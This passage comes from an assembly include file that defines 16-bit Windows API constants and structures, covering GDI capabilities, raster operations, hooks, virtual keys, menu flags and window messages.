; Polygonal Capabilities

PC_NONE = 0 ; /* Polygonals not supported */

PC_POLYGON = 1 ; /* Can do polygons */

PC_RECTANGLE = 2 ; /* Can do rectangles */

PC_WINDPOLYGON = 4 ; /* Can do winding polygons */

PC_TRAPEZOID = 4 ; /* Can do trapezoids */

PC_SCANLINE = 8 ; /* Can do scanlines */

PC_WIDE = 16 ; /* Can do wide borders */

PC_STYLED = 32 ; /* Can do styled borders */

PC_WIDESTYLED = 64 ; /* Can do wide styled borders */

PC_INTERIORS = 128; /* Can do interiors */

;

; Polygonal Capabilities */

CP_NONE = 0 ; /* No clipping of output */

CP_RECTANGLE = 1 ; /* Output clipped to rects */

;

; Text Capabilities

TC_OP_CHARACTER = 0001h ; /* Can do OutputPrecision CHARACTER */

TC_OP_STROKE = 0002h ; /* Can do OutputPrecision STROKE */

TC_CP_STROKE = 0004h ; /* Can do ClipPrecision STROKE */

TC_CR_90 = 0008h ; /* Can do CharRotAbility 90 */

TC_CR_ANY = 0010h ; /* Can do CharRotAbility ANY */

TC_SF_X_YINDEP = 0020h ; /* Can do ScaleFreedom X_YINDEPENDENT */

TC_SA_DOUBLE = 0040h ; /* Can do ScaleAbility DOUBLE */

TC_SA_INTEGER = 0080h ; /* Can do ScaleAbility INTEGER */

TC_SA_CONTIN = 0100h ; /* Can do ScaleAbility CONTINUOUS */

TC_EA_DOUBLE = 0200h ; /* Can do EmboldenAbility DOUBLE */

TC_IA_ABLE = 0400h ; /* Can do ItalisizeAbility ABLE */

TC_UA_ABLE = 0800h ; /* Can do UnderlineAbility ABLE */

TC_SO_ABLE = 1000h ; /* Can do StrikeOutAbility ABLE */

TC_RA_ABLE = 2000h ; /* Can do RasterFontAble ABLE */

TC_VA_ABLE = 4000h ; /* Can do VectorFontAble ABLE */

TC_RESERVED = 8000h

;

; Raster Capabilities

RC_BITBLT = 1 ; /* Can do standard BLT. */

RC_BANDING = 2 ; /* Device requires banding support */

RC_SCALING = 4 ; /* Device requires scaling support */

RC_BITMAP64 = 8 ; /* Device can support >64K bitmap */

RC_GDI20_OUTPUT = 0010h ; /* has 2.0 output calls */

RC_DI_BITMAP = 0080h ; /* supports DIB to memory */

RC_PALETTE = 0100h ; /* supports a palette */

RC_DIBTODEV = 0200h ; /* supports DIBitsToDevice */

RC_BIGFONT = 0400h ; /* supports >64K fonts */

RC_STRETCHBLT = 0800h ; /* supports StretchBlt */

RC_FLOODFILL = 1000h ; /* supports FloodFill */

RC_STRETCHDIB = 2000h ; /* supports StretchDIBits */

endif ;NOGDICAPMASKS

; palette entry flags

;

PC_RESERVED = 1 ;/* palette index used for animation */

PC_EXPLICIT = 2 ;/* palette index is explicit to device */

PC_NOCOLLAPSE = 4 ;/* do not match color to system palette */

; DIB color table identifiers

;

DIB_RGB_COLORS = 0 ;/* color table in RGBTriples */

DIB_PAL_COLORS = 1 ;/* color table in palette indices */

;

;constants for Get/SetSystemPaletteUse()

;

SYSPAL_STATIC = 1

SYSPAL_NOSTATIC = 2

; constants for CreateDIBitmap

CBM_INIT = 4 ;/* initialize bitmap */

;

; Bitmap format constants

BI_RGB = 0

BI_RLE8 = 1

BI_RLE4 = 2

;

;

ANSI_CHARSET = 0

SYMBOL_CHARSET = 2

OEM_CHARSET = 255

;

; styles for CombineRgn

;

RGN_AND = 1

RGN_OR = 2

RGN_XOR = 3

RGN_DIFF = 4

RGN_COPY = 5

;

; Predefined cursor & icon IDs

;

IDC_ARROW = 32512

IDC_IBEAM = 32513

IDC_WAIT = 32514

IDC_CROSS = 32515

IDC_UPARROW = 32516

IDC_SIZE = 32640

IDC_ICON = 32641

IDC_SIZENWSE = 32642

IDC_SIZENESW = 32643

IDC_SIZEWE = 32644

IDC_SIZENS = 32645

IDI_APPLICATION = 32512

IDI_HAND = 32513

IDI_QUESTION = 32514

IDI_EXCLAMATION = 32515

IDI_ASTERISK = 32516

;

; OEM Resource Ordinal Numbers */

;

OBM_CLOSE = 32754

OBM_UPARROW = 32753

OBM_DNARROW = 32752

OBM_RGARROW = 32751

OBM_LFARROW = 32750

OBM_REDUCE = 32749

OBM_ZOOM = 32748

OBM_RESTORE = 32747

OBM_REDUCED = 32746

OBM_ZOOMD = 32745

OBM_RESTORED = 32744

OBM_UPARROWD = 32743

OBM_DNARROWD = 32742

OBM_RGARROWD = 32741

OBM_LFARROWD = 32740

OBM_MNARROW = 32739

OBM_COMBO = 32738

OBM_UPARROWI = 32737

OBM_DNARROWI = 32736

OBM_RGARROWI = 32735

OBM_LFARROWI = 32734

OBM_OLD_CLOSE = 32767

OBM_SIZE = 32766

OBM_OLD_UPARROW = 32765

OBM_OLD_DNARROW = 32764

OBM_OLD_RGARROW = 32763

OBM_OLD_LFARROW = 32762

OBM_BTSIZE = 32761

OBM_CHECK = 32760

OBM_CHECKBOXES = 32759

OBM_BTNCORNERS = 32758

OBM_OLD_REDUCE = 32757

OBM_OLD_ZOOM = 32756

OBM_OLD_RESTORE = 32755

OCR_NORMAL = 32512

OCR_IBEAM = 32513

OCR_WAIT = 32514

OCR_CROSS = 32515

OCR_UP = 32516

OCR_SIZE = 32640

OCR_ICON = 32641

OCR_SIZENWSE = 32642

OCR_SIZENESW = 32643

OCR_SIZEWE = 32644

OCR_SIZENS = 32645

OCR_SIZEALL = 32646

OCR_ICOCUR = 32647

OIC_SAMPLE = 32512

OIC_HAND = 32513

OIC_QUES = 32514

OIC_BANG = 32515

OIC_NOTE = 32516

;

; Scroll bar constants

;

SB_HORZ = 0

SB_VERT = 1

SB_CTL = 2

SB_BOTH = 3

;

; Scroll Commands

;

SB_LINEUP = 0

SB_LINEDOWN = 1

SB_PAGEUP = 2

SB_PAGEDOWN = 3

SB_THUMBPOSITION = 4

SB_THUMBTRACK = 5

SB_TOP = 6

SB_BOTTOM = 7

SB_ENDSCROLL = 8

;

; MessageBox type flags

;

IFNDEF NOMB

MB_OK = 0000H

MB_OKCANCEL = 0001H

MB_ABORTRETRYIGNORE = 0002H

MB_YESNOCANCEL = 0003H

MB_YESNO = 0004H

MB_RETRYCANCEL = 0005H

MB_ICONHAND = 0010H

MB_ICONQUESTION = 0020H

MB_ICONEXCLAMATION = 0030H

MB_ICONASTERISK = 0040H

MB_DEFBUTTON1 = 0000H

MB_DEFBUTTON2 = 0100H

MB_DEFBUTTON3 = 0200H

MB_APPLMODAL = 0000H

MB_SYSTEMMODAL = 1000H

MB_TASKMODAL = 2000H

MB_NOFOCUS = 8000H

;

; Conventional dialog box and message box command IDs

;

IDOK = 1

IDCANCEL = 2

IDABORT = 3

IDRETRY = 4

IDIGNORE = 5

IDYES = 6

IDNO = 7

;

; Flags for OpenFile

;

OF_READ = 0000H

OF_WRITE = 0001H

OF_READWRITE = 0002H

OF_SHARE_COMPAT = 0000H

OF_SHARE_EXCLUSIVE = 0010H

OF_SHARE_DENY_WRITE = 0020H

OF_SHARE_DENY_READ = 0030H

OF_SHARE_DENY_NONE = 0040H

OF_PARSE = 0100H

OF_DELETE = 0200H

OF_VERIFY = 0400H ; Used with OF_REOPEN

OF_SEARCH = 0400H ; Used without OF_REOPEN

OF_CANCEL = 0800H

OF_CREATE = 1000H

OF_PROMPT = 2000H

OF_EXIST = 4000H

OF_REOPEN = 8000H

TF_FORCEDRIVE = 80H

OPENSTRUC STRUC

opLen db ?

opDisk db ?

opXtra dw ?

opDate dw ?

opTime dw ?

opFile db 120 dup (?)

OPENSTRUC ENDS

;

; DrawText format flags

;

DT_LEFT = 00H

DT_CENTER = 01H

DT_RIGHT = 02H

DT_TOP = 00H

DT_VCENTER = 04H

DT_BOTTOM = 08H

DT_WORDBREAK = 10H

DT_SINGLELINE = 20H

DT_EXPANDTABS = 40H

DT_TABSTOP = 80H

DT_NOCLIP = 0100H

DT_EXTERNALLEADING = 0200H

DT_CALCRECT = 0400H

DT_NOPREFIX = 0800H

DT_INTERNAL = 1000H

ENDIF

;

; ExtFloodFill style flags

;

FLOODFILLBORDER = 0

FLOODFILLSURFACE = 1

;

; Memory manager flags

;

LMEM_FIXED = 0000h

LMEM_MOVEABLE = 0002h

LMEM_NOCOMPACT = 0010H

LMEM_NODISCARD = 0020H

LMEM_ZEROINIT = 0040h

LMEM_MODIFY = 0080H

LMEM_DISCARDABLE= 0F00h

LHND = LMEM_MOVEABLE+LMEM_ZEROINIT

LPTR = LMEM_FIXED+LMEM_ZEROINIT

; Flags returned by LocalFlags (in addition to LMEM_DISCARDABLE)

LMEM_DISCARDED = 4000H

LMEM_LOCKCOUNT = 00FFH

NONZEROLHND = LMEM_MOVEABLE

NONZEROLPTR = LMEM_FIXED

GMEM_FIXED = 0000h

GMEM_MOVEABLE = 0002h

GMEM_NOCOMPACT = 0010h

GMEM_NODISCARD = 0020h

GMEM_ZEROINIT = 0040h

GMEM_MODIFY = 0080h

GMEM_DISCARDABLE= 0100h

GMEM_NOT_BANKED = 1000h

GMEM_DDESHARE = 2000h

GMEM_SHARE = 2000h

GMEM_NOTIFY = 4000h

GMEM_LOWER = GMEM_NOT_BANKED

GHND = GMEM_MOVEABLE+GMEM_ZEROINIT

GPTR = GMEM_FIXED+GMEM_ZEROINIT

; Flags returned by GlobalFlags (in addition to GMEM_DISCARDABLE)

GMEM_DISCARDED = 4000h

GMEM_LOCKCOUNT = 00FFh

; Flags returned by GetWinFlags

WF_PMODE = 0001h

WF_CPU286 = 0002h

WF_CPU386 = 0004h

WF_CPU486 = 0008h

WF_STANDARD = 0010h

WF_WIN286 = 0010h

WF_ENHANCED = 0020h

WF_WIN386 = 0020h

WF_CPU086 = 0040h

WF_CPU186 = 0080h

WF_LARGEFRAME = 0100h

WF_SMALLFRAME = 0200h

WF_80x87 = 0400h

WF_PAGING = 0800h

WF_WLO = 8000h

; WEP fSystemExit flag values

WEP_SYSTEM_EXIT = 1

WEP_FREE_DLL = 0

; Virtual Keys, Standard Set

IFNDEF NOVK

VK_LBUTTON = 01H

VK_RBUTTON = 02H

VK_CANCEL = 03H

VK_BACK = 08H

VK_TAB = 09H

VK_CLEAR = 0cH

VK_RETURN = 0dH

VK_SHIFT = 10H

VK_CONTROL = 11H

VK_MENU = 12H

VK_PAUSE = 13H

VK_CAPITAL = 14H

VK_ESCAPE = 1bH

VK_SPACE = 20H

VK_PRIOR = 21H

VK_NEXT = 22H

VK_END = 23H

VK_HOME = 24H

VK_LEFT = 25H

VK_UP = 26H

VK_RIGHT = 27H

VK_DOWN = 28H

; VK_A thru VK_Z are the same as their ASCII equivalents: 'A' thru 'Z'

; VK_0 thru VK_9 are the same as their ASCII equivalents: '0' thru '0'

VK_PRINT = 2aH

VK_EXECUTE = 2bH

VK_SNAPSHOT = 2ch ; Printscreen key..

VK_INSERT = 2dH

VK_DELETE = 2eH

VK_HELP = 2fH

VK_NUMPAD0 = 60H

VK_NUMPAD1 = 61H

VK_NUMPAD2 = 62H

VK_NUMPAD3 = 63H

VK_NUMPAD4 = 64H

VK_NUMPAD5 = 65H

VK_NUMPAD6 = 66H

VK_NUMPAD7 = 67H

VK_NUMPAD8 = 68H

VK_NUMPAD9 = 69H

VK_MULTIPLY = 6AH

VK_ADD = 6BH

VK_SEPARATER = 6CH

VK_SUBTRACT = 6DH

VK_DECIMAL = 6EH

VK_DIVIDE = 6FH

VK_F1 = 70H

VK_F2 = 71H

VK_F3 = 72H

VK_F4 = 73H

VK_F5 = 74H

VK_F6 = 75H

VK_F7 = 76H

VK_F8 = 77H

VK_F9 = 78H

VK_F10 = 79H

VK_F11 = 7aH

VK_F12 = 7bH

VK_F13 = 7cH

VK_F14 = 7dH

VK_F15 = 7eH

VK_F16 = 7fH

VK_F17 = 80H

VK_F18 = 81H

VK_F19 = 82H

VK_F20 = 83H

VK_F21 = 84H

VK_F22 = 85H

VK_F23 = 86H

VK_F24 = 87H

VK_NUMLOCK = 90H

VK_SCROLL = 91H

ENDIF

IFNDEF NOWH

; SetWindowsHook() codes

WH_MSGFILTER = (-1)

WH_JOURNALRECORD = 0

WH_JOURNALPLAYBACK = 1

WH_KEYBOARD = 2

WH_GETMESSAGE = 3

WH_CALLWNDPROC = 4

IFNDEF NOWIN31

WH_CBT = 5

WH_SYSMSGFILTER = 6

WH_MOUSE = 7

WH_HARDWARE = 8

WH_DEBUG = 9

ENDIF

;

; Hook Codes

HC_GETLPLPFN = (-3)

HC_LPLPFNNEXT = (-2)

HC_LPFNNEXT = (-1)

HC_ACTION = 0

HC_GETNEXT = 1

HC_SKIP = 2

HC_NOREM = 3

HC_NOREMOVE = 3

HC_SYSMODALON = 4

HC_SYSMODALOFF = 5

;

; CBT Hook Codes

HCBT_MOVESIZE = 0

HCBT_MINMAX = 1

HCBT_QS = 2

HCBT_CREATEWND = 3

HCBT_DESTROYWND = 4

HCBT_ACTIVATE = 5

HCBT_CLICKSKIPPED = 6

HCBT_KEYSKIPPED = 7

HCBT_SYSCOMMAND = 8

HCBT_SETFOCUS = 9

;

; WH_MSGFILTER Filter Proc Codes

MSGF_DIALOGBOX = 0

MSGF_MENU = 2

MSGF_MOVE = 3

MSGF_SIZE = 4

MSGF_SCROLLBAR = 5

MSGF_NEXTWINDOW = 6

;

; Window Manager Hook Codes

WC_INIT = 1

WC_SWP = 2

WC_DEFWINDOWPROC = 3

WC_MINMAX = 4

WC_MOVE = 5

WC_SIZE = 6

WC_DRAWCAPTION = 7

;

; Message Structure used in Journaling

EVENTMSG struc

message dw ?

paramL dw ?

paramH dw ?

time dd ?

EVENTMSG ends

ENDIF ;NOWH

; Window field offsets for GetWindowLong() and GetWindowWord()

GWL_WNDPROC = (-4)

GWW_HINSTANCE = (-6)

GWW_HWNDPARENT = (-8)

GWW_ID = (-12)

GWL_STYLE = (-16)

GWL_EXSTYLE = (-20)

; GetWindow() Constants

GW_HWNDFIRST = 0

GW_HWNDLAST = 1

GW_HWNDNEXT = 2

GW_HWNDPREV = 3

GW_OWNER = 4

GW_CHILD = 5

; Class field offsets for GetClassLong() and GetClassWord()

GCL_MENUNAME = (-8)

GCW_HBRBACKGROUND = (-10)

GCW_HCURSOR = (-12)

GCW_HICON = (-14)

GCW_HMODULE = (-16)

GCW_CBWNDEXTRA = (-18)

GCW_CBCLSEXTRA = (-20)

GCL_WNDPROC = (-24)

GCW_STYLE = (-26)

; WinWhere() Area Codes

HTERROR = (-2)

HTTRANSPARENT = (-1)

HTNOWHERE = 0

HTCLIENT = 1

HTCAPTION = 2

HTSYSMENU = 3

HTGROWBOX = 4

HTSIZE = HTGROWBOX

HTMENU = 5

HTHSCROLL = 6

HTVSCROLL = 7

HTREDUCE = 8

HTZOOM = 9

HTLEFT = 10

HTRIGHT = 11

HTTOP = 12

HTTOPLEFT = 13

HTTOPRIGHT = 14

HTBOTTOM = 15

HTBOTTOMLEFT = 16

HTBOTTOMRIGHT = 17

HTSIZEFIRST = HTLEFT

HTSIZELAST = HTBOTTOMRIGHT

;*************************************************************************

;

; Misc structures & constants

;

;*************************************************************************

IFNDEF NOMST

POINT struc

ptX dw ?

ptY dw ?

POINT ends

LOGPEN struc

lopnStyle dw ?

lopnWidth db (SIZE POINT) DUP(?)

lopnColor dd ?

LOGPEN ends

BITMAP STRUC

bmType DW ?

bmWidth DW ?

bmHeight DW ?

bmWidthBytes DW ?

bmPlanes DB ?

bmBitsPixel DB ?

bmBits DD ?

BITMAP ENDS

RGBTRIPLE struc

rgbBlue db ?

rgbGreen db ?

rgbRed db ?

RGBTRIPLE ends

RGBQUAD struc

rgbqBlue db ?

rgbqGreen db ?

rgbqRed db ?

rgbqReserved db ?

RGBQUAD ends

; structures for defining DIBs

BITMAPCOREHEADER struc

bcSize dd ?

bcWidth dw ?

bcHeight dw ?

bcPlanes dw ?

bcBitCount dw ?

BITMAPCOREHEADER ends

BITMAPINFOHEADER struc

biSize dd ?

biWidth dd ?

biHeight dd ?

biPlanes dw ?

biBitCount dw ?

biCompression dd ?

biSizeImage dd ?

biXPelsPerMeter dd ?

biYPelsPerMeter dd ?

biClrUsed dd ?

biClrImportant dd ?

BITMAPINFOHEADER ends

BITMAPINFO struc

bmiHeader db (SIZE BITMAPINFOHEADER) DUP (?)

bmiColors db ? ; array of RGBQUADs

BITMAPINFO ends

BITMAPCOREINFO struc

bmciHeader db (SIZE BITMAPCOREHEADER) DUP (?)

bmciColors db ? ; array of RGBTRIPLEs

BITMAPCOREINFO ends

BITMAPFILEHEADER struc

bfType dw ?

bfSize dd ?

bfReserved1 dw ?

bfReserved2 dw ?

bfOffBits dd ?

BITMAPFILEHEADER ends

WNDSTRUC struc

WSwndStyle dd ?

WSwndID dw ?

WSwndText dw ?

WSwndParent dw ?

WSwndInstance dw ?

WSwndClassProc dd ?

WNDSTRUC ends

;

; Message structure

;

MSGSTRUCT struc

msHWND dw ?

msMESSAGE dw ?

msWPARAM dw ?

msLPARAM dd ?

msTIME dd ?

msPT dd ?

MSGSTRUCT ends

NEWPARMS struc

nprmHwnd dw ?

nprmCmd db ?

NEWPARMS ends

ENDIF

PAINTSTRUCT STRUC

PShdc DW ?

PSfErase DW ?

PSrcPaint DB size RECT dup(?)

PSfRestore DW ?

PSfIncUpdate DW ?

PSrgbReserved DB 16 dup(?)

PAINTSTRUCT ENDS

CREATESTRUCT struc

cs_lpCreateParams dd ?

cs_hInstance dw ?

cs_hMenu dw ?

cs_hwndParent dw ?

cs_cy dw ?

cs_cx dw ?

cs_y dw ?

cs_x dw ?

cs_style dd ?

cs_lpszName dd ?

cs_lpszClass dd ?

cs_dwExStyle dd ?

CREATESTRUCT ends

;

; PostError constants

;

WARNING = 0 ; command codes

MINOR_ERROR = 1

FATAL_ERROR = 2

IGNORE = 0 ; response codes

RETRY = 1

ABORT = 2

;

; GDI-related constants & commands

;

ERRORREGION = 0

NULLREGION = 1

SIMPLEREGION = 2

COMPLEXREGION = 3

IFNDEF NORASTOPS

;

; Binary raster ops

;

R2_BLACK = 1

R2_NOTMERGEPEN = 2

R2_MASKNOTPEN = 3

R2_NOTCOPYPEN = 4

R2_MASKPENNOT = 5

R2_NOT = 6

R2_XORPEN = 7

R2_NOTMASKPEN = 8

R2_MASKPEN = 9

R2_NOTXORPEN = 10

R2_NOP = 11

R2_MERGENOTPEN = 12

R2_COPYPEN = 13

R2_MERGEPENNOT = 14

R2_MERGEPEN = 15

R2_WHITE = 16

;

; Ternary raster ops

;

SRCCOPY_L = 0020h ;dest=source

SRCCOPY_H = 00CCh

SRCPAINT_L = 0086h ;dest=source OR dest

SRCPAINT_H = 00EEh

SRCAND_L = 00C6h ;dest=source AND dest

SRCAND_H = 0088h

SRCINVERT_L = 0046h ;dest= source XOR dest

SRCINVERT_H = 0066h

SRCERASE_L = 0328h ;dest= source AND (not dest )

SRCERASE_H = 0044h

NOTSRCCOPY_L = 0008h ;dest= (not source)

NOTSRCCOPY_H = 0033h

NOTSRCERASE_L = 00A6h ;dest= (not source) AND (not dest)

NOTSRCERASE_H = 0011h

MERGECOPY_L = 00CAh ;dest= (source AND pattern)

MERGECOPY_H = 00C0h

MERGEPAINT_L = 0226h ;dest= (source AND pattern) OR dest

MERGEPAINT_H = 00BBh

PATCOPY_L = 0021h ;dest= pattern

PATCOPY_H = 00F0h

PATPAINT_L = 0A09h ;DPSnoo

PATPAINT_H = 00FBh

PATINVERT_L = 0049h ;dest= pattern XOR dest

PATINVERT_H = 005Ah

DSTINVERT_L = 0009h ;dest= (not dest)

DSTINVERT_H = 0055h

BLACKNESS_L = 0042h ;dest= BLACK

BLACKNESS_H = 0000h

WHITENESS_L = 0062h ;dest= WHITE

WHITENESS_H = 00FFh

;

; StretchBlt modes

;

BLACKONWHITE = 1

WHITEONBLACK = 2

COLORONCOLOR = 3

;

; New StretchBlt modes

;

STRETCH_ANDSCANS = 1

STRETCH_ORSCANS = 2

STRETCH_DELETESCANS = 3

;

; PolyFill modes

;

ALTERNATE = 1

WINDING = 2

ENDIF

;

; Text Alignment Options

;

TA_NOUPDATECP = 0

TA_UPDATECP = 1

TA_LEFT = 0

TA_RIGHT = 2

TA_CENTER = 6

TA_TOP = 0

TA_BOTTOM = 8

TA_BASELINE = 24

ETO_GRAYED = 1

ETO_OPAQUE = 2

ETO_CLIPPED = 4

ASPECT_FILTERING = 1

ifndef NOMETAFILE

; Metafile Functions */

META_SETBKCOLOR = 0201h

META_SETBKMODE = 0102h

META_SETMAPMODE = 0103h

META_SETROP2 = 0104h

META_SETRELABS = 0105h

META_SETPOLYFILLMODE = 0106h

META_SETSTRETCHBLTMODE = 0107h

META_SETTEXTCHAREXTRA = 0108h

META_SETTEXTCOLOR = 0209h

META_SETTEXTJUSTIFICATION = 020Ah

META_SETWINDOWORG = 020Bh

META_SETWINDOWEXT = 020Ch

META_SETVIEWPORTORG = 020Dh

META_SETVIEWPORTEXT = 020Eh

META_OFFSETWINDOWORG = 020Fh

META_SCALEWINDOWEXT = 0400h

META_OFFSETVIEWPORTORG = 0211h

META_SCALEVIEWPORTEXT = 0412h

META_LINETO = 0213h

META_MOVETO = 0214h

META_EXCLUDECLIPRECT = 0415h

META_INTERSECTCLIPRECT = 0416h

META_ARC = 0817h

META_ELLIPSE = 0418h

META_FLOODFILL = 0419h

META_PIE = 081Ah

META_RECTANGLE = 041Bh

META_ROUNDRECT = 061Ch

META_PATBLT = 061Dh

META_SAVEDC = 001Eh

META_SETPIXEL = 041Fh

META_OFFSETCLIPRGN = 0220h

META_TEXTOUT = 0521h

META_BITBLT = 0922h

META_STRETCHBLT = 0B23h

META_POLYGON = 0324h

META_POLYLINE = 0325h

META_ESCAPE = 0626h

META_RESTOREDC = 0127h

META_FILLREGION = 0228h

META_FRAMEREGION = 0429h

META_INVERTREGION = 012Ah

META_PAINTREGION = 012Bh

META_SELECTCLIPREGION = 012Ch

META_SELECTOBJECT = 012Dh

META_SETTEXTALIGN = 012Eh

META_DRAWTEXT = 062Fh

META_CHORD = 0830h

META_SETMAPPERFLAGS = 0231h

META_EXTTEXTOUT = 0a32h

META_SETDIBTODEV = 0d33h

META_SELECTPALETTE = 0234h

META_REALIZEPALETTE = 0035h

META_ANIMATEPALETTE = 0436h

META_SETPALENTRIES = 0037h

META_POLYPOLYGON = 0538h

META_RESIZEPALETTE = 0139h

META_DIBBITBLT = 0940h

META_DIBSTRETCHBLT = 0b41h

META_DIBCREATEPATTERNBRUSH = 0142h

META_STRETCHDIB = 0f43h

META_DELETEOBJECT = 01f0h

META_CREATEPALETTE = 00f7h

META_CREATEBRUSH = 00F8h

META_CREATEPATTERNBRUSH = 01F9h

META_CREATEPENINDIRECT = 02FAh

META_CREATEFONTINDIRECT = 02FBh

META_CREATEBRUSHINDIRECT = 02FCh

META_CREATEBITMAPINDIRECT = 02FDh

META_CREATEBITMAP = 06FEh

META_CREATEREGION = 06FFh

; /* Clipboard Metafile Picture Structure */

HANDLETABLE struc

ht_objectHandle dw ?

HANDLETABLE ends

METARECORD struc

mr_rdSize dd ?

mr_rdFunction dw ?

mr_rdParm dw ?

METARECORD ends

METAFILEPICT struc

mfp_mm dw ?

mfp_xExt dw ?

mfp_yExt dw ?

mfp_hMF dw ?

METAFILEPICT ends

METAHEADER struc

mtType dw ?

mtHeaderSize dw ?

mtVersion dw ?

mtSize dd ?

mtNoObjects dw ?

mtMaxRecord dd ?

mtNoParameters dw ?

METAHEADER ends

endif ; NOMETAFILE

; GDI Escapes

NEWFRAME = 1

ABORTDOC = 2

NEXTBAND = 3

SETCOLORTABLE = 4

GETCOLORTABLE = 5

FLUSHOUTPUT = 6

DRAFTMODE = 7

QUERYESCSUPPORT = 8

SETABORTPROC = 9

STARTDOC = 10

;; This value conflicts with a std WIN386 MACRO definition

;;ENDDOC = 11

GETPHYSPAGESIZE = 12

GETPRINTINGOFFSET = 13

GETSCALINGFACTOR = 14

MFCOMMENT = 15

GETPENWIDTH = 16

SETCOPYCOUNT = 17

SELECTPAPERSOURCE = 18

DEVICEDATA = 19

PASSTHROUGH = 19

GETTECHNOLGY = 20

GETTECHNOLOGY = 20

SETENDCAP = 21

SETLINEJOIN = 22

SETMITERLIMIT = 23

BANDINFO = 24

DRAWPATTERNRECT = 25

GETVECTORPENSIZE = 26

GETVECTORBRUSHSIZE = 27

ENABLEDUPLEX = 28

ENABLEMANUALFEED = 29

GETSETPAPERBINS = 29

GETSETPRINTORIENT = 30

ENUMPAPERBINS = 31

GETEXTENDEDTEXTMETRICS = 256

GETEXTENTTABLE = 257

GETPAIRKERNTABLE = 258

GETTRACKKERNTABLE = 259

EXTTEXTOUT = 512

ENABLERELATIVEWIDTHS = 768

ENABLEPAIRKERNING = 769

SETKERNTRACK = 770

SETALLJUSTVALUES = 771

SETCHARSET = 772

GETSETSCREENPARAMS = 3072

STRETCHBLT = 2048

; Spooler Error Codes

SP_NOTREPORTED = 4000h

SP_ERROR = (-1)

SP_APPABORT = (-2)

SP_USERABORT = (-3)

SP_OUTOFDISK = (-4)

SP_OUTOFMEMORY = (-5)

PR_JOBSTATUS = 0000

; Object Definitions for EnumObjects()

OBJ_PEN = 1

OBJ_BRUSH = 2

;

; Menu flags for Change/Check/Enable MenuItem

;

MF_INSERT = 0000h

MF_CHANGE = 0080h

MF_APPEND = 0100h

MF_DELETE = 0200h

MF_REMOVE = 1000h

MF_BYCOMMAND = 0000h

MF_BYPOSITION = 0400h

MF_SEPARATOR = 0800h

MF_ENABLED = 0000h

MF_GRAYED = 0001h

MF_DISABLED = 0002h

MF_UNCHECKED = 0000h

MF_CHECKED = 0008h

MF_USECHECKBITMAPS= 0200h

MF_STRING = 0000h

MF_BITMAP = 0004h

MF_OWNERDRAW = 0100h

MF_POPUP = 0010h

MF_MENUBARBREAK = 0020h

MF_MENUBREAK = 0040h

MF_UNHILITE = 0000h

MF_HILITE = 0080h

MF_SYSMENU = 2000h

MF_HELP = 4000h

MF_MOUSESELECT = 8000h

;

; System Menu Command Values

;

SC_SIZE = 0F000h

SC_MOVE = 0F010h

SC_MINIMIZE = 0F020h

SC_MAXIMIZE = 0F030h

SC_NEXTWINDOW = 0F040h

SC_PREVWINDOW = 0F050h

SC_CLOSE = 0F060h

SC_VSCROLL = 0F070h

SC_HSCROLL = 0F080h

SC_MOUSEMENU = 0F090h

SC_KEYMENU = 0F100h

SC_ARRANGE = 0F110h

SC_RESTORE = 0F120h

SC_TASKLIST = 0F130h

SC_SCREENSAVE = 0F140h

SC_HOTKEY = 0F150h

SC_ICON = SC_MINIMIZE

SC_ZOOM = SC_MAXIMIZE

;

; Window State Messages

;

IFNDEF NOWM

WM_STATE = 0000H

WM_NULL = 0000h

WM_CREATE = 0001h

WM_DESTROY = 0002h

WM_MOVE = 0003h

WM_SIZE = 0005h

WM_ACTIVATE = 0006h

WM_SETFOCUS = 0007h

WM_KILLFOCUS = 0008h

WM_ENABLE = 000Ah

WM_SETREDRAW = 000Bh

WM_SETTEXT = 000Ch

WM_GETTEXT = 000Dh

WM_GETTEXTLENGTH = 000Eh

WM_PAINT = 000Fh

WM_CLOSE = 0010h

WM_QUERYENDSESSION = 0011h

WM_QUIT = 0012h

WM_QUERYOPEN = 0013h

WM_ERASEBKGND = 0014h

WM_SYSCOLORCHANGE = 0015h

WM_ENDSESSION = 0016h

WM_SYSTEMERROR = 0017h

WM_SHOWWINDOW = 0018h

WM_CTLCOLOR = 0019h

WM_WININICHANGE = 001Ah

WM_DEVMODECHANGE = 001Bh

WM_ACTIVATEAPP = 001Ch

WM_FONTCHANGE = 001Dh

WM_TIMECHANGE = 001Eh

WM_CANCELMODE = 001Fh

WM_SETCURSOR = 0020h

WM_MOUSEACTIVATE = 0021h

WM_CHILDACTIVATE = 0022h

WM_QUEUESYNC = 0023h

WM_GETMINMAXINFO = 0024h

WM_PAINTICON = 0026h

WM_ICONERASEBKGND = 0027h

WM_NEXTDLGCTL = 0028h

WM_SPOOLERSTATUS = 002Ah

WM_DRAWITEM = 002Bh

WM_MEASUREITEM = 002Ch

WM_DELETEITEM = 002Dh

WM_VKEYTOITEM = 002Eh

WM_CHARTOITEM = 002Fh

WM_SETFONT = 0030h

WM_GETFONT = 0031h

WM_QUERYDRAGICON = 0037h

WM_COMPAREITEM = 0039h

WM_COMPACTING = 0041h

IFNDEF NOWIN31

WM_COMMNOTIFY = 0044h

WM_WINDOWPOSCHANGING= 0046h

WM_WINDOWPOSCHANGED = 0047h

WM_POWER = 0048h

ENDIF

WM_NCCREATE = 0081h

WM_NCDESTROY = 0082h

WM_NCCALCSIZE = 0083h

WM_NCHITTEST = 0084h

WM_NCPAINT = 0085h

WM_NCACTIVATE = 0086h

WM_GETDLGCODE = 0087h

WM_NCMOUSEMOVE = 00A0h

WM_NCLBUTTONDOWN = 00A1h

WM_NCLBUTTONUP = 00A2h

WM_NCLBUTTONDBLCLK = 00A3h

WM_NCRBUTTONDOWN = 00A4h

WM_NCRBUTTONUP = 00A5h

WM_NCRBUTTONDBLCLK = 00A6h

WM_NCMBUTTONDOWN = 00A7h

WM_NCMBUTTONUP = 00A8h

WM_NCMBUTTONDBLCLK = 00A9h

WM_KEYFIRST = 0100h

WM_KEYDOWN = 0100h

WM_KEYUP = 0101h

WM_CHAR = 0102h

WM_DEADCHAR = 0103h

WM_SYSKEYDOWN = 0104h

WM_SYSKEYUP = 0105h

WM_SYSCHAR = 0106h

WM_SYSDEADCHAR = 0107h

WM_KEYLAST = 0108h

WM_INITDIALOG = 0110h

WM_COMMAND = 0111h

WM_SYSCOMMAND = 0112h

WM_TIMER = 0113h

WM_HSCROLL = 0114h

WM_VSCROLL = 0115h

WM_INITMENU = 0116h

WM_INITMENUPOPUP = 0117h

WM_MENUSELECT = 011Fh

WM_MENUCHAR = 0120h

WM_ENTERIDLE = 0121h

WM_MOUSEFIRST = 0200h

WM_MOUSEMOVE = 0200h

WM_LBUTTONDOWN = 0201h

WM_LBUTTONUP = 0202h

